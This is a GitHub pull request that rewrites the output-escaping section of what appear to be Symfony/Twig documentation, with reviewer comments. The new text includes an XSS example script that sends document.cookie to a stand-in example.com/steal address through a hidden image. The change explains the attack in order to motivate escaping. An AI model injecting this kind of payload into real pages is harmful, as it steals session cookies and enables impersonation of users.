-
-
Notifications
You must be signed in to change notification settings - Fork 5.2k
Add a better example of the dangers of XSS attacks #19805
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
|
@@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates. | |||||
Read the `Twig template inheritance`_ docs to learn more about how to reuse | ||||||
parent block contents when overriding templates and other advanced features. | ||||||
|
||||||
Output Escaping | ||||||
--------------- | ||||||
.. _output-escaping: | ||||||
.. _xss-attacks: | ||||||
|
||||||
Output Escaping and XSS Attacks | ||||||
------------------------------- | ||||||
|
||||||
Imagine that your template includes the ``Hello {{ name }}`` code to display the | ||||||
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as | ||||||
their name and you output that value unchanged, the application will display a | ||||||
JavaScript popup window. | ||||||
user name and a malicious user sets the following as their name: | ||||||
|
||||||
.. code-block:: html | ||||||
|
||||||
My Name | ||||||
<script type="text/javascript"> | ||||||
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">'); | ||||||
</script> | ||||||
|
||||||
This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous | ||||||
example seems harmless, the attacker could write more advanced JavaScript code | ||||||
to perform malicious actions. | ||||||
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies | ||||||
so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_ | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Fixed while merging. Thanks! |
||||||
or XSS attack. | ||||||
|
||||||
To prevent this attack, use *"output escaping"* to transform the characters | ||||||
which have special meaning (e.g. replace ``<`` by the ``<`` HTML entity). | ||||||
|
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What about use a route with things like /delete/post/1 ?
So reader got the critical idea of having a page making an external action not only query things?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't like this idea because it's mixing two different things: XSS attacks is one thing and creating/deleting resources with GET HTTP methods is a different problem. But thanks anyways for reviewing and commenting.